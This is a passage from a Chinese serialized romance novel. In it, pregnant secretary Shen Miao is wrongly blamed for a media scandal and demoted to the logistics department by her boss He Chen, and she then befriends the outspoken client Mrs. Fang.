沈渺委婉地表达,如果方太太有意交好,找机会圆一下,这事儿就过去了。 如果方太太不给面子,来硬的也没用,反而让合作关系变僵了。 “咯咯。”方太太突然笑起来,笑声娇柔明朗,“沈渺,我挺喜欢你的,那行,改天我去京北一趟吧。” 沈渺没想到,她会真的来京北。 她千里迢迢来京北,跟程唯怡相会,算是用最诚意的行动,打破谣言。 等于跟程唯怡低头,向贺忱示好。 “那就恭候方太太大驾。” 沈渺觉得,方太太就是被方年惯坏了,性子不坏。 此时,百荣集团总裁办。 贺忱盯着手机屏幕,上面是昨天何之洲发来的一则消息。 【贺忱,你别嚣张,好戏在后头呢!】 这果然是一出好戏。 他将手机放下,修长的指骨一下又一下地敲击着桌面。 “新闻爆出来以后,唯怡的眼泪就没落下过,你倒是赶紧想想办法!” 明黎艳急得团团转,“沈渺人呢?把她给我叫过来,我今天非要处分她!” 贺忱面色郁郁,停下手上的动作,“您去程家看看唯怡,新闻的事情我来处理。” “你不去?”明黎艳皱着眉,“易琴说她连早餐都没吃,一直等着你呢。” “您先去,我处理好就过去。” 贺忱面色不辨喜怒。 明黎艳有些不放心,叮嘱道,“这事儿咱们必须给程家一个交代,沈渺无缘无故连同外人,这样说唯怡,程家那边都盯着呢,你不能随便处理。” “知道。”贺忱的声音冷了许多。 还想问问贺忱到底打算怎么处理,但一看到贺忱面色逐渐变得不好,明黎艳只能离开。 她去了程家一趟,安慰程唯怡一番。 “我听说,方太太不是好出身,估计就是嫉妒你,唯怡,你可是我认定的儿媳妇,什么都不用怕。” 程家夫妇为了女儿遭受的无妄之灾,十分不满。 夫妻两个黑着脸,并排坐着。 听明黎艳这么说话,孙易琴的脸色好看了些。 “黎艳,我也不想说,可工作就算再重要,贺忱也不能不顾唯怡的感受啊,你看看网上那些人都怎么说她的?是,我们程家是比不上贺家,可是唯怡跟贺忱是青梅竹马……” 程唯怡坐在明黎艳身边,抱着抱枕,越听越委屈,眼泪直往下掉,“这件事情,一定是沈渺搞的鬼!伯母,你一定要给我做主,我不想再看到沈渺了!” “沈渺、沈渺。”明黎艳连喊了两声沈渺的名字,她的耐心被耗尽了,“你放心,这次就算沈渺不离开,我也绝对不会再让她碍你们的眼!” 程唯怡还挂着泪水的眼眸一亮,悄咪咪看了眼明黎艳。 见明黎艳一脸厉色,十分凝重,心底涌上来一抹欣喜。 孙易琴坐到程唯怡另外一侧去,“唯怡,还愣着干什么?快谢谢伯母替你做主啊。” “谢谢伯母。”程唯怡立马擦干眼泪,挽上明黎艳的胳膊,“伯母,其实我受点委屈没什么,就是沈渺那个女人太有心机了,我怕贺忱哥被她给骗了。” 明黎艳愈发觉得程唯怡懂事,“这事儿当初也赖我,就不该让贺忱带她进贺家的门。” “怎么会呢?”程唯怡反安抚明黎艳,“一定是她死缠着贺忱哥负责,贺忱哥没办法了才带她回家,伯母你怎么拦?您也没办法……” 她每一句话,都说到了明黎艳心坎里。 明黎艳拍着胸脯保证,不会再让沈渺碍程唯怡的眼,却并未说清楚要怎么做。 送走明黎艳后,程家几人想了半天,也没想出,明黎艳要干什么。 但不管明黎艳怎么做,都是偏向程唯怡的。 沈渺本以为,方太太答应来,这件事情暂时性地解决了。 谁知,公关部经理说,贺忱让她去公司一趟。 她只能过去。 半路上,她收到了方太太发来的航班信息,周一十点落地京北机场。 沈渺想了想,将这消息转发给贺忱。 周六日,公司人不多,可一股凝重的气氛蔓延在各个角落。 贺忱的办公室里,尤为明显。 沈渺来了一会儿了,稀薄的空气令她隐隐不适。 头顶男人投来如注的目光,更是让她的心一沉再沉。 沈渺硬着头皮开口,“方太太亲自来一趟,致歉的心意很足,为了日后合作更愉快,我建议您带着程小姐一起去接机。” “沈秘书还有什么建议。” 贺忱十指穿插,抵在下颚,单薄的眼皮轻掀着看她。 他的眼神薄凉又极具审视,像是要把沈渺看穿。 沈渺想起公关部经理的话,程唯怡觉得是她跟方太太说了什么,方太太才会在媒体面前那样说。 她没将那无理取闹的话放在心上。 可是现在看来,贺忱也这么认为? 53.想过会有今天这个局面吗 “没了。”沈渺语气淡然,低垂着眉眼,像是看不懂贺忱目光里的审视。 林昭走进来,到贺忱身边低声道,“贺总,刚刚接到了李董的电话,说绯闻的事情等周一董事例会时一起处理,点明沈秘书在这次的事件中有严重的工作失职。” 贺忱眉骨收拢,看向沈渺。 沈渺眉头淡拧着,紧抿着唇瓣,却是一句话也不说。 “把董事会提前到明天。” 贺忱沉声吩咐。 林昭应声,转身离开时看了沈渺一眼,一脸的欲言又止,最终还是出去了。 贺忱起身走到沈渺面前,他身体后倾坐靠在办公桌上。 仍旧比沈渺高出半个头的他,居高临下地睨着沈渺。 出来的急,沈渺穿了一件粉色的毛衣,下面是一条黑色的阔腿裤。 长发随意束成丸子头,松散的碎发在她耳廓两侧。 她脖子上,那天的吻痕渐渐散退了些,还带着淡淡的粉。 这样的沈渺,比工作状态下的她多了几分松弛感,显得幼态许多。 但贺忱知道,眼前看起来柔和的她,是暗藏攻击性,很有主见的。 “何之洲的手再长,也伸不到百荣内部来。沈渺,你这么聪明的人,想过会有今天这个局面吗?” 一个小秘书,连董事们都惊动了。 她的职位,岌岌可危。 阳光斜射进室内,照在两人身上,沈渺盯着地上男人的影子。 瘦削的身形挺括的身姿,一眼看去俊朗明润,却散发着咄咄逼人的强势。 他不仅相信,是沈渺在方太太面前说了什么。 他甚至觉得,沈渺听何之洲的,故意这么干。 沈渺的嘴角扯了扯,她看着贺忱的目光渐渐暗淡。 像是有什么在流逝一样。 “没想过。” 她从未想过,贺忱有朝一日,会为了程唯怡成为‘昏君’。 他的睿智聪明,都去哪里了? “回去好好反思一下,考虑清楚到底是我能掌控你未来的人生,还是何之洲。” 贺忱站直身体,扯了扯领带,走到窗前点燃一根烟,深嘬了一口。 沈渺转身朝外走,与男人的背影交错开来。 办公室门还未彻底合拢,贺忱回头看了一眼。 她纤细苗条的背影挺得笔直,头也不回地离开了。 贺忱的眸色暗了不少,将烟咬在嘴里,掏出手机把何之洲的号码拉黑。 粗粝的指腹轻轻摩擦着手机屏幕,光滑平整的屏幕上倒映着他逐渐阴沉下来的面庞。 烟雾缭绕,尼古丁却令他的内心深处,愈发的烦躁。 沈渺离开的背影,在他脑海里挥之不去。 —— 若因为这次的新闻被裁掉,沈渺的职业生涯就有了抹不去的黑点。 她以后在任何企业,都不会有太好的发展,也不会被重用。 但沈渺却从未想过,怎么解释。 她反而希望,就这么被裁掉吧。 这样,就可以离开百荣,离开京北。 离开贺忱了。 晚上商音跟她发视频的时候,她没提这件事情。 商音的性子急,能不能走得成还两说。 而且商音若知道这事,只怕会比她还激动。 她感觉胸口沉闷喘不过气来,可她却又惊讶自己出奇的平静,只等着被‘宣判’。 周末上午十点,沈渺准时到公司。 彼时,董事们已经到了,她径直进入会议室,站在主位旁边,被所有人用异样的目光打量。 贺忱穿着黑色的呢大衣,坐在那里,头发油亮亮的,被梳理得一丝不苟。 他双腿叠放,手里拿着的是此次与方年合作的项目。 办公室里一片静悄悄的,落针可闻。 人都到齐了,好一会儿也不见贺忱有反应。 李董掩唇轻咳两声,说道,“人都到齐了吧?” 有人应声,“齐了。” 贺忱手上的动作停顿片刻,缓缓回头,睨了沈渺一眼。 沈渺穿着板正的黑色衬衫,踩着五公分的高跟鞋,规矩地站在他身后。 她低垂着头,精致的五官没有任何表情。 也没有任何,要解释的迹象。 “劳烦各位董事,又跑一趟。” 贺忱将文件放在桌子上,发出‘啪’的声响。 “开始吧。” 李董看向沈渺,“沈秘书,你身为百荣的人,却跟客户踩低程小姐,给贺总的形象带来损失,令公司都陷入舆论中,你什么时候做事这么没有分寸了!” “上次的事情,也是她,跟九洲的人走那么近,我看她的心早就不再是百荣的了!” “这样的人,还留她在公司干什么?况且还是总裁秘书,经常接触到公司机密文件的职位!” 董事们你一言我一语,没有给沈渺解释的机会,直接进行批判、判罪。 一群董事坐下来,只为批判一个秘书。 可以说是杀鸡用了宰牛刀。 沈渺推测,这是明黎艳在背后推波助澜。 贺忱顺水推舟。 “所以,各位董事的解决方法,是什么。”贺忱打断众议。 一群董事看向李董。 李董斟酌一番说,“沈秘书手里握着百荣不少机密,她这样的人品我们可不敢赌她会遵守合约条款,不泄露机密文件,依我看就把她调职到后勤部吧。” 总裁特助调职后勤部,天壤之别。 不光薪资降了许多,那也是整个公司最累的部门。 这些年,沈渺做贺忱的秘书,没有功劳也有苦劳。 这些董事们根本不顾她为百荣付出过什么,只因明黎艳一句话,就要枉死她未来的职业生涯。 最终决策权还在贺忱世上手上,李董说完一群人的目光又一同移向贺忱。 贺忱鹰眸一凛,嗓音涔涔道,“沈秘书,有什么要说的吗。” “没有。”沈渺不假思索。 走不掉,能离贺忱远一些也行。 她话音落地的一瞬间,贺忱周身的气温骤然降至冰点。 “那就按照李董说的办,明天让人事部重新准备劳务合同。” 沈渺应声,“好。” 董事会散场,沈渺站在角落,最后一个出去。 杂乱的脚步声渐渐远去,偌大的会议室安静下来。 周围都没声音了以后,沈渺才走出会议室。 谁知,一出门就看到贺忱还没走,站在长廊尽头,眉头拧得能打成死结。 54.贺忱发现误会,沈渺拒不回秘书部 沈渺迟疑片刻,走出会议室,回到工位上拿包,转身朝电梯走去。 路过贺忱身边时,男人倏地拉住她手腕。 他手指修长利落,手背的青筋脉络清晰。 紧紧扣着沈渺手腕时,指尖因过力而泛白。 “调职以后,你对何之洲就没有了利用价值,你猜他会怎么对你。” 沈渺猜,何之洲知道她被调职,一定急得抓耳挠腮。 她离贺忱远了一步,何之洲很难再看戏了。 “不劳贺总费心,他怎么对我是我的事情。” 沈渺推开他的手,她细软的手指落在他手背处,温热透过皮肤相传。 一霎,那抹温度仿佛带着极度的滚烫,灼到了贺忱心间。 贺忱的心里没由来地颤了一下。 他的手被沈渺推开,沈渺微低了下头,转身离开。 周末,公司的人不多,但沈渺即将被调职人事部的消息却传开了。 没等沈渺从公司回到家里,就被踢出顶层秘书大群。 接着就是如今正在进行的各项目小组群。 李白恬看到消息,立马给她打电话。 “方太太怎么说程小姐的,跟你有什么关系!你不是那种嚼舌根的人,我跟秘书长都不相信,这到底怎么回事啊?” 她们都相信不是沈渺做的,可沈渺就是受到处分了。 其中,一定有不为人知的内幕。 “干多了动脑子的活儿,去干干体力活,挺好的。” 沈渺轻笑了下,反过来安慰她,“不用为我难过,我接受处分。” 李白恬听她这么说,差点儿没哭出来。 “你知道那些人背地里怎么说你的?那个该死的周芸换了个小号进公司群,一直胡乱散播谣言,说你想插足贺总跟程小姐的感情,故意跟方太太造谣,降职是小,你的名声重要啊!” 以前也有这种话传出来,但是这些年沈渺跟贺忱都中规中矩,所以那些传言很快就过去了。 这次配上方太太的事情,大家竟是都信了。 “名声也不重要。”沈渺已经在网上查阅与后勤部相关的工作内容了。 说好听一点是后勤部,难听一点儿就是跑腿打杂的部门。 确实会很累,沈渺唯一担心的是,她现在怀孕,会不会影响到工作。 调职书还没下来,次日一早,沈渺先去顶楼工位上收拾东西。 人事部的人九点半上班,进行人事调动计划,修改了劳务合同,再送到沈渺手上签字,发派到后勤部手上,一上午都过去了。 临近午饭,沈渺拿到调职书,搬着东西离开,乘电梯去三楼报道。 正等着电梯时,总裁专用电梯突然被打开。 贺忱率先出来,与他错了半个身体的是方年。 再后面,是程唯怡挽着方太太。 “沈秘书。”方太太松开程唯怡的手,转身朝沈渺走过来,“我以为,你会跟他们一起来接我。” 沈渺朝她颔首一笑,“方太太,抱歉,我有工作要处理。” 她双手抱着箱子,箱子里面放着她的个人物品,最上面是刚下来的调职书。 方太太一眼就看到了,敏锐地捕捉到‘后勤部’三个字。 “好端端的,怎么调到后勤部去了?” 沈渺声音微低,“正常工作调动。” 从总裁秘书到后勤部职员,哪个公司是这样正常调动的? “我不信。”方太太回过头来,看向方年。 看似是看向方年,其实是想问贺忱。 方年无奈朝着方太太使眼色,却是对贺忱说,“贺总,我太太随性了些,她挺喜欢沈秘书,您别见怪。” 贺忱伫立在那儿,面色如常,“不会。” 喜欢沈秘书? 程唯怡的笑容快挂不住了。 她一早就收拾去机场接这个让自己陷入舆论的臭女人。 结果方太太一见面就问:沈秘书没来吗? 她差点儿没气死,一路上扯着笑脸,还得对方太太笑脸相迎,耐心早就用尽了。 谁知道又在这儿遇上了沈渺,沈渺一定是故意让方太太看见她! “方太太,她毕竟只是个员工,还曾经破坏了我们的关系,别管她了,我们走吧。” 程唯怡上前,挽住方太太胳膊,试图拉着方太太去办公室。 方太太驻足,死活不肯走,“什么意思?我在媒体面前说错了话,跟你的关系闹得不好,怎么就成把她破坏的了?” 秘书部不断进进出出,朝这边看过来。 方年走到方太太身边,轻声劝说,“有什么事进去说,别让贺总久等了,咱们是来做客的,你听话。” “我哪里不听话了?”方太太推开方年揽着她的手,“要不是她,我才不来京北这一趟,结果我们皆大欢喜,她被降职了,这叫什么事儿?” 方太太声音一点不收拢,引得人到秘书办门口来看。 沈渺不得不走过来,“方太太,事情真的跟您没关系,是公司内部调动。” “是吗?贺总。”方太太直接将矛头指向贺忱。 沈渺在维护百荣颜面,给贺忱找补面子。 纵然贺忱已经从方太太的话中,察觉到不对,但这事儿肯定要过后再谈,而不是在这众目睽睽之下。 贺忱并未直接回答,而是说,“既然方太太有话要说,你跟着一起到办公室来吧。” “有什么好说的?”程唯怡脸上没了笑容,“方太太,沈渺的工作调动是百荣内部的事情。” 她暗指方太太多管闲事。 方太太看都不看她一眼,继而看向贺忱,“贺总,我虽然跟程小姐素未谋面,可你跟她的新闻满天飞,我观面相觉得她太丑,觉得你审美有问题,曾跟沈秘书探讨过这个问题,她却说程小姐跟你青梅竹马,门当户对,她替你们圆补了,到头来却成了你们的泄愤者,真有本事,冲我来啊。” 末尾这句,她盯着程唯怡说的。 一霎,程唯怡脸色青白交加,眼底浮上雾气,欲哭不哭地看向贺忱。 贺忱眉骨拢着,墨瞳凝着沈渺,她面容依旧寡淡,不骄不躁,也看不出丝毫委屈。 她仿佛不在意,自己是冤枉的。 “既然方太太还沈秘书清白了,那调职的事情——” “贺总,调职书我已经签了,就不折腾了,谢谢方太太还我清白,改天有机会请您吃饭,我先到楼下报到了。” 沈渺打断贺忱的话。 电梯到了,她头也不回地进去,摁下三楼。 55.矛盾激发 电梯门缓缓合上,贺忱讳莫如深的眼眸,印刻着沈渺的样子。 她站在电梯正中央,抱着箱子,漠然的面色深处,夹杂着一丝疏远。 “原来是百荣的内部正常调动啊,那我们就不插手了。” 方年看出端倪,对沈渺仓促选择调职离开,感到诧异。 又见贺忱脸色一瞬间沉下来,估计是当着别人被落面子的缘故,他拉着方太太一起转移话题。 “老婆,你不是要跟程小姐相约参观京北区的Clvg包包展厅吗,咱们进去说。” 方太太看着沈渺乘的电梯下去,心里过意不去。 “我是听沈秘书说,才知道京北有个Clvg展厅的。” 她偏偏将话题往沈渺身上扯。 方年无奈,揽着她身体往贺忱办公室走,低声说,“我的小祖宗,你想要什么我都给你买,能不能别任性?” 方太太扭动身体,将他的手从肩膀上推开,“不能,一个总裁秘书跑去干后勤,这对一个牛马来说是多大的打击,她还是为了我被连累的……” 在林昭的指引下,他们率先进入了办公室。 交谈的声音被关上的门遮掩住。 程唯怡的委屈压不住了。 “贺忱哥,你看她……” 秘书办往外扒头的人都缩回去了。 可方太太的声音一点没压着,当着所有人说她丑。 程唯怡面色赤红,眼里挂着泪珠,马上就要哭出来了。 贺忱的目光在紧闭的电梯门上收回,面色郁郁,“先进去吧。” “我……” 委屈在程唯怡的胸腔里化开,将她吞没。 可贺忱已经进入办公室了,她只能咬着牙跟上去。 —— 三楼后勤部,是整栋百荣大厦环境最差的地方。 整个后勤部总共分为十几组,每个组分别管理着每一层,每个部门的后勤工作。 沈渺下来的时候,刚好赶着午休,偌大的办公室只有几个人。 “沈秘书。”张辉从位置上起来,“听说你要下来,我特意跟部长争取了一下,让你来我们组,组长说你要自己选组?” 张辉是六组组长,专门负责顶楼的后勤工作。 “张组长,以后叫我小沈吧。”沈渺朝他笑了笑,“为避嫌,我选了餐厅的后勤,八组的。” 跟着张辉,随时都有可能再去顶层。 而她,不想去了。 张辉分外诧异,“餐厅那边可是最累的,那组招人都招不上来!” 餐厅的后勤采买备货,是整个公司最忙的,每天早早的就要爬起来去准备新鲜食材。 后勤部给八组起了个外号,叫后厨。 “这些事情,总要有人做。”沈渺抱着东西,走到八组坐下。 八组区一个人都没有,不同于其他人去吃午餐,他们是去采买下午各部门的水果茶了。 张辉觉得,说是她自己选八组,搞不好是贺忱为了程唯怡的事情,故意把她发派到最差的部门。 他看沈渺的目光有些同情,“那你以后有事儿喊我。” “行,谢谢张组长。” 八组的组长叫赵珂,他知道沈渺中午来任职,提前安排好了位置。 沈渺坐到位置上,扫了赵珂留下的二维码,加入了八组的群,询问下午的工作安排。 赵珂让她下午去厨房统计一次性餐具的数量,随时记录,提前采买。 她连午饭都没来得及吃,就到餐厅去忙,统计完了餐厅数量,又开始准备各部门的下午茶。 沈渺之所以选择八组,是因为八组的工资是最高的。 她虽然手里有一定的积蓄,但未来养孩子要花很多钱,能多攒一些是一些。 一下午,沈渺忙的底朝天。 晚上回到家里,洗过澡躺在床上,她才想方太太的事情。 她掏出手机,给方太太发了一条微信。 【方太太,谢谢您今天仗义出手,来后勤部是我自己的选择,跟您无关,别为了我坏了方总和贺总的合作。】 这会儿,贺忱与方年还在饭桌上,对合作进行深入的交流。 程唯怡不懂工作上的事情,找话题与方太太闲聊。 可方太太对她爱答不理。 接机时,还惦记着合作,方太太给几分面子。 现在知道沈渺为了自己一时口快,背黑锅去了后勤部,心情一直不好。 她不是甩脸子给程唯怡看,只是心里藏不住事儿,全写在脸上。 程唯怡有脾气,见她这样干脆不理了。 桌上两个男人侃侃而谈,女人相对而坐却是几分尴尬的安静。 直到,方太太的微信响了一声。 她拿过手机,见是沈渺发来的,迅速回消息。 【我才不信呢。】 【方太太,总裁秘书的劳务合同,跟后勤部不一样,结婚生子这种事情都受约束。】 沈渺提前想好了说辞,当然这也不完全是为了稳住方太太。 闻言,方太太想到她怀孕的事情,还没捅破。 商场的事情,方太太不懂,但她无条件相信沈渺。 听沈渺这么说,她的心里舒服了不少。 【那也有一部分是我的原因,我离开京北之前,一起吃个饭。】 沈渺犹豫了下,答应了。 方太太脸上露出笑容,她把手机放下,“贺总,你丢失了一位好秘书。” 沈渺抱着工作箱,进入电梯的画面,在贺忱的脑海里浮现。 那一刻,他的心里像是被扎了一根刺。 方太太这话,将那根刺拿出来,又插了回去。 贺忱的眉头拧起,他削薄的唇抿成一条直线,沉默了片刻点头,“确实。” “方太太,你对一个秘书这么感兴趣干什么?” 程唯怡忍无可忍。 冷了她一下午,这会儿有了笑脸竟是为了沈渺! “我对谁感兴趣,跟你有关系吗?” 方太太白了程唯怡一眼,“我在跟贺总谈工作的事情,程小姐不懂公事,就别插嘴了吧。” 程唯怡愣是被气笑了,“我不懂,方太太也不懂吧?男人谈工作,我们安安静静当个陪衬就好了,非插一脚干什么?” “谁说我不懂了?”方太太双手抱臂,挺直腰板,“我老公给百荣的设计图,就是我画的!” 眼看两人气势不对,又要吵起来,方年赶忙说,“程小姐,我太太有参与项目,她这个人不爱社交,不聊工作上的事情,还真的不知道该跟你说什么。” “才不是呢。”方太太扒拉开方年一直戳她胳膊的手,“我跟沈秘书私下聊,聊得也挺开心,就是跟程小姐不合眼缘,于公于私,都是!” 56.没有什么比离开更重要 一句‘不合眼缘’,又让程唯怡想起方太太说她丑! “沈渺长得再漂亮,只是个秘书,你搞清楚了,跟你们合作的是贺忱哥,我……” “对啊,跟我们合作的是贺总,你跟着干什么?” 方太太眼神犀利,专挑疼的地方,往程唯怡的心上扎刀子。 贺忱带着沈渺应酬,却从来不带程唯怡,足以证明程唯怡在工作上,一点儿忙都忙不了。 甚至,贺忱都不打算让她以准未婚妻的身份,去跟合作商的太太应酬。 “我……”程唯怡一噎,说不上话来,求助的目光看向贺忱。 贺忱面色沉得能滴出水,“方太太纵然在工作上能帮方总,但如此口无遮拦,日后必定给方总带来祸患。” “那是我自己的事情。”方太太一点儿也不担心。 方年额头直冒冷汗,只能打和,“贺总,合作的事情我们改天再谈吧,时间不早了我先带着我太太回酒店休息了。” 贺忱靠在椅背上,坐得稳固如山,“好,林昭在门口等着。” 方年带着方太太离开,方太太拎包,将包带甩在桌子上,‘啪啪’响。 像是打程唯怡的脸。 程唯怡欲落泪,“贺忱哥,你也觉得我没用吗?” “不会。”贺忱从口袋里拿出一根烟,咬在嘴上,“给你爸打电话,让他来接你。” “你,你不送我回去吗?”程唯怡表情一僵。 这段时间,贺忱一直都送她回家的。 “我还有事,来不及。” 贺忱站起来,将外套挂在臂弯,烟支已经点燃,抿在他薄唇上。 随着他说话,烟支上下浮动,缭绕的烟雾在薄唇里溢出。 令他那张轮廓分明的面容渐渐变得模糊。 他抬起手,挥散了烟雾,拿下烟支掸烟灰。 被拉满的性张力,配上男人那张俊朗的面容,俨然是行走的荷尔蒙。 他走出包厢,穿过光线昏暗的长廊,离开餐厅。 程唯怡拨通孙易琴的电话,话还没说先哭上了。 “怎么了?”孙易琴听到女儿哭,急坏了,“跟贺忱应酬不顺利吗?” “妈!那个合作商太过分了……”程唯怡添油加醋形容方太太故意冷着她,“而且她还总是提沈渺,说沈渺比我强,能给贺忱哥分担工作,我就是个花瓶。” 孙易琴当即就怒了,“沈渺再厉害,也是个打工的,你将来是要做贺太太的人,分担什么工作?” 程唯怡吸吸鼻子,哭得更欢了,“一定是沈渺给了那个方太太好处,方太太还讽刺我长得丑。” “这个方太太,未免也过分了!”孙易琴铁青着脸,拉着程青良来接程唯怡。 一路上,母女两个没挂电话,一直聊这件事情。 听说沈渺去了后勤部,孙易琴那口气消了一些。 “好歹是把她从贺忱身边弄走了。” 程唯怡安静了几秒,小声问,“妈,你说沈渺是不是故意的?贺忱哥都要松口撤销调职了,她竟然不同意,还是去了后勤部,她难道想借方太太的手,让……让我跟她道歉??” 之所以有这个想法,是因为程唯怡自己知道,沈渺怂恿方太太说她丑这事儿,是她硬将一盆水泼在沈渺身上的。 “她做梦!”孙易琴安抚程唯怡,“放心,有你伯母在,谁也欺负不了你。” 眨眼,程家夫妇把程唯怡接回家,安慰了一番,程唯怡上楼睡觉。 孙易琴哄好女儿回房间时,程青良还没睡。 他一脸欲言又止。 “有什么话,你直接说。”孙易琴掀开被子上床。 “当初唯怡读大学,我就说别让她去国外乱混,读个正儿八经的商学院,懂工作上的事情,将来还能帮帮贺忱,也不会被人骂是花瓶了。” 程青良就这么一个女儿,将来整个程家也指着程唯怡接手。 他是有意把程唯怡培养成独立女性的。 奈何,孙易琴不肯。 “你懂什么?”孙易琴一脸老谋深算。 “我这是在按照明黎艳心中的准儿媳,来培养唯怡,她容不下那强势的儿媳妇,不管是工作能力还是脾气,都不能超过她……” —— 沈渺跟方太太发完消息,觉得方太太的语气还不错。 这件事情应该算尘埃落定了,没影响到方年与贺忱合作。 她提着的心落下。 黑夜来临,她心间的酸涩胀开,将她整个人吞没。 调职到后勤部,对她来说百利而无一害。 后勤部人员离职,是不需要经过贺忱手的。 就算离职不成,她也远离了贺忱眼皮子底下。 商音给她打视频,听她用‘好消息’三个字来形容这件事,沉默了几秒。 “你确定这是好消息吗?” 沈渺‘嗯’了句,“怎么不是?” “贺忱这王八蛋,冤枉你啊!你被调去干后勤,这也是职业生涯的黑点啊,以后怎么找工作?” 商音真正生气的是,沈渺非要走这一步,才能摆脱贺忱吗? 沈渺提气道,“突然觉得,比起能离开,职业生涯有没有黑点,不重要。” 她从来没想过,全身而退会这么难。 层出不穷的问题,让她一步步变得被动。 成为程唯怡与明黎艳的眼中钉,搅入何之洲与贺忱的商斗之间。 莫名多出一个方太太,还知道了她怀孕的事情。 哪里还有比离开,更重要的事情呢? “那你打算什么时候辞职?”商音心疼她,语气都软了不少。 沈渺盘算了一下说,“月底吧。” 距离月底,还有十天。 京北的初春风大,树枝长出嫩芽,垂柳枝芽被吹得随风飘起。 彼时,沈渺怀孕三月十四周了。 脱掉衣服,她的小腹有了一点点凸起的迹象。 三围倒是没再涨,只是去年的衣服依旧穿不了。 后勤部不讲究穿着,她穿了一件打底衫,配了一条连体裤,刚好能遮住肚子,还不用穿高跟鞋。 这身打扮进公司,前台看到她都直了眼。 “刚刚,进公司的是沈秘书吗?” “什么沈秘书?”旁人回答道,“现在已经是后勤部的小沈了。” 沈渺像没听见这些话,朝电梯里走。 “听说方太太跟程小姐闹得很不愉快,这都是沈渺造的孽,这个项目能不能保住还不一定呢。” “昨天方总不是来了?恩怨不是化解了吗?” “又出新闻了,昨晚贺总跟方总吃饭,闹了个不欢而散,据知情人士透露,昨天方太太在公司直言程小姐长得丑,都被媒体报道出来了,公关部今天都疯了……” 听到他们交谈,沈渺这才掏出手机看新闻。 果然,她的心里‘咯噔’一声。 57.明黎艳与孙易琴为程唯怡撑腰 贺忱与方年的合作,岌岌可危。 他们到底能不能合作,沈渺不担心。 可只要这件事情还在发酵,她就撇不清关系。 沈渺认真看了看新闻,捕捉到‘据知情人士透露’这句话,这足以证明百荣内部有人泄露了消息。 她关闭新闻页面,点开何之洲的微信,编辑着文字。 【新闻是你的手笔?】 何之洲:【谁让他抢我项目!】 他只会这些邪门歪道的东西,来给贺忱制造困难,只是他没想到,会波及沈渺。 沈渺没再回消息,事情已经发酵起来,就算去求何之洲,也压不下来了。 可她没想到,何之洲还有更过分的操作在后面。 他雇佣水军,在各个平台发布消息,把程唯怡从小到大的照片进行对比。 程唯怡长得算漂亮,从小到大都靠衣装和气质。 那些水军说,单独看程唯怡的五官,并不止像方太太说的那样丑,而是非常丑! 水军利用程唯怡很丑的事实,得出贺忱审美不行的结论,试图嘲笑他找了个丑媳妇。 何之洲就是冲贺忱去的,本想黑一黑贺忱。 可网友不买账,不按他们引导的方向走。 网友夸贺忱太帅了,去搜贺忱的个人履历,硬生生把他一个商圈大佬,当成了明星偶像来研究。 沈渺忙里偷闲时,会关注这件事情风向。 临近中午,新闻被压下去。 网上变得静悄悄,搜索与程唯怡也不会出现任何那种新闻的词条。 仿佛没出现过一样。 沈渺刚想松一口气,方太太给她发来微信。 【群众的眼睛是雪亮的,程唯怡长得就是丑,我这人不善于撒谎。】 沈渺:“……” 她根本不知怎么接这话,只能转移话题。 【方太太,您什么时候回阳城?】 方太太:【没意思,明天就回去。】 沈渺约方太太今晚吃饭,方太太答应了。 晚上七点,华灯初上,夜风有些凉。 停车场,迈巴赫缓缓驶出车库。 “贺总,您把沈秘书调回来吧,您将精力都放在跟程家的合作上,好几个大项目我一个人盯不过来。” 林昭一脸倦意,实在撑不住了。 贺忱双腿叠放,在他脑袋里晃悠了一天的人,此刻突然被提及。 他的眉骨不自觉收拢,落在窗外的视线,猝不及防地闯入一抹身影。 沈渺穿了件黑色呢大衣,臂弯处挂着包,双手插在口袋里,站在路边打车。 若不是对她那张脸太过熟悉,差点都认不出这样装扮的她。 宽松休闲的着装,让沈渺看起来没那么瘦了,但依旧高挑纤细。 黑色的帽檐下,巴掌大的小脸白净细嫩。 乍一看,像个大学生。 “唉……”林昭也看到沈渺了,他突然叹息道,“不跟着您,沈秘书都年轻了好几岁。” 没有高强的工作压力,人看起来就会松弛许多。 但沈渺之所以会松弛,可不是因为工作的缘故。 而是每天都不用待在贺忱眼皮子底下了。 贺忱敛回目光,薄唇溢出一个字,“走。” 奈何,他说得太晚。 林昭已经将车停在路边,并且将车窗落下了。 “沈秘书,这么巧,你刚下班?” 沈渺:“??” 贺忱:“……” 他不光落下副驾驶的窗户,把后座贺忱这边的窗户也落下了。 沈渺抬起头,刚好跟贺忱的目光对上。 猝不及防的相遇和对视,衍生出一股尴尬,在两人之间蔓延开来。 林昭后知后觉地察觉到不对。 昨天上午他在办公室出来时,沈渺已经到后勤部报道了。 他后来听说,方太太已经解释清楚,事情与沈渺无关,只是不知怎的又跟程唯怡吵了两句。 至于沈渺拒绝了贺忱要收回调职的话,他听别人提了一嘴,压根没信。 沈渺怎么可能拒绝呢? “呃……”林昭支吾了下说,“路上注意安全,再见。” 沈渺刚调整好状态,准备打个招呼时,就听林昭丢下这句话,一脚踩下油门走了。 她红唇微张,到嘴的话变成‘再见’两个字。 迈巴赫驶离原地,带起的风掠过沈渺,吹得她长发散乱。 她下意识看向离去的车厢,在后视镜里,依稀可见男人轮廓模糊的五官。 她心尖泛起一股不知名的情绪。 这时,一辆出租车在她面前停下,她回了神,打开车门上去,报上与方太太约好的餐厅。 沈渺与方太太不算熟,并且前几次见面都是为了工作应酬。 今天第一次私下约见面,竟是前所未有的气氛融洽。 沈渺从未私下与这种关系的客户见过面。 刚落座时,她还有几分局促,都被方太太的爽朗驱逐了。 “不用紧张,一不谈工作二不吵架,就当朋友嘛。” 方太太烫着一头羊毛卷,穿着紫色的高领毛衣,整个人显得很贵气。 沈渺有所松缓,“方太太……” “叫我杨琳吧。”方太太打断她,“以后我也不喊你沈秘书了,就叫你沈渺,交个朋友。” 自幼,沈渺性子清冷,在孤儿院那么多年,只有性格外向的商音一个朋友。 不论上学还是工作,她都没交到朋友。 “是我的荣幸。” 杨琳掩唇一笑,“了解你的,是你性子天生冷,不知道的还以为你不愿意跟我做朋友,打官腔应付我呢。” 沈渺下意识摇头,“我没有那个意思。” “我知道。”杨琳浅尝了一口饮料,“其实我是北方人,跟方年网恋之后,到阳城奔现,然后就留在了阳城,南方人说话拐弯抹角,文绉绉的,不适合我,反倒是更适合你,你家就是京北的吗?” 沈渺摇了下头,“应该不是。” 杨琳一怔,“什么叫应该?” “我在孤儿院长大,浅姨说以前的院长去山上求平安时,在路上捡到的我,那座山本地人一般不去。” 沈渺如实回答。 杨琳这才知道,“你是孤儿?” “是。”沈渺点头,冲她笑着摇头,“没关系,我们是朋友,就算你不问,我也应该说。” 